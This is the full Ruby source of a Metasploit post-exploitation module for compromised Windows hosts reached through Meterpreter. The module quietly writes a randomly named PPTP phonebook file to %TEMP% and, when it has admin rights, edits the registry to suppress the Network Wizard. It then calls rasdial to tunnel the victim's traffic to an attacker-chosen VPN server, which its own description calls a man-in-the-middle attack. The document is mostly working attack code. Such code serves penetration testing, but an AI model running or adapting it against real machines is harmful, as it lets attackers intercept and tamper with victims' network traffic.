108 lines
3.5 KiB
Ruby
108 lines
3.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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include Msf::Post::Windows::Priv
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include Msf::Post::Windows::Registry
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Manage Remote Point-to-Point Tunneling Protocol',
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'Description' => %q{
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This module initiates a PPTP connection to a remote machine (VPN server). Once
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the tunnel is created we can use it to force the victim traffic to go through the
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server getting a man in the middle attack. Be sure to allow forwarding and
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masquerading on the VPN server (mitm).
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},
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'License' => MSF_LICENSE,
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'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',
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'References' =>
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[
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[ 'URL', 'http://www.youtube.com/watch?v=vdppEZjMPCM&hd=1' ]
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],
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'Platform' => 'win',
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'SessionTypes' => [ 'meterpreter' ]
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))
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register_options(
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[
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OptString.new('USERNAME', [true, 'VPN Username.' ]),
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OptString.new('PASSWORD', [true, 'VPN Password.' ]),
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OptBool.new('MITM', [true, 'Man in the middle.', true]),
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OptInt.new('TIMEOUT', [true, 'Timeout for the tunnel creation.', 60]),
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OptString.new('PBK_NAME', [true, 'PhoneBook entry name.', 'MSF']),
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OptAddress.new('VPNHOST', [true, 'VPN server.'])
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])
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end
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def run
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disable_network_wizard if sysinfo["OS"] =~ /Windows 7|Vista|2008/
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pbk = create_pbk(datastore['MITM'],datastore['PBK_NAME'])
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to = (datastore['TIMEOUT'] <= 0 ) ? 60 : datastore['TIMEOUT']
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begin
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::Timeout.timeout(to) do
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run_rasdial(pbk,datastore['USERNAME'],datastore['PASSWORD'], datastore['VPNHOST'],datastore['PBK_NAME'])
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end
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rescue ::Timeout::Error
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print_error("Timeout after #{to} seconds")
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end
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file_rm(pbk)
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print_status("Phonebook deleted")
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end
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def disable_network_wizard
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if not is_admin?
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print_error("You don't have enough privileges to change the registry. Network Wizard will not be disabled")
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return
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end
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key = 'HKLM\\System\\CurrentControlSet\\Control\\Network'
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value = "NewNetworkWindowOff"
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begin
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if not registry_getvaldata(key,value)
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registry_setvaldata(key,value,3,"REG_BINARY")
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print_good("Network Wizard disabled")
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end
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rescue ::Exception => e
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print_status("The fo llowing Error was encountered: #{e.class} #{e}")
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end
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end
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def create_pbk(mim,pbk_name)
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pbk_dir = expand_path("%TEMP%")
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pbk_file = pbk_dir << "\\" << Rex::Text.rand_text_alpha((rand(8)+6)) << ".pbk"
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conf_conn = "[#{pbk_name}]\r\n\r\n"
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conf_conn += "MEDIA=rastapi\r\n"
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conf_conn += "Port=VPN4-0\r\n"
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conf_conn += "DEVICE=vpn\r\n"
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conf_conn += "IpPrioritizeRemote=0\r\n" unless mim
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if write_file(pbk_file,conf_conn)
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print_good("PhoneBook configuration written to #{pbk_file}")
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return pbk_file
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end
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end
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def run_rasdial(pbk,user,pass,vpn_host,pbk_name)
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print_status("Establishing connection ...")
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cmd_exec("rasdial","/disconnect")
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output_run = cmd_exec("rasdial","#{pbk_name} #{user} #{pass} /PHONE:#{vpn_host} /PHONEBOOK:#{pbk}")
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output_view = cmd_exec("rasdial", nil)
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if output_view =~ /#{pbk_name}/i
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print_good("Connection Successful")
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else
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print_error("Connection failure: #{output_run}")
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end
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end
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end
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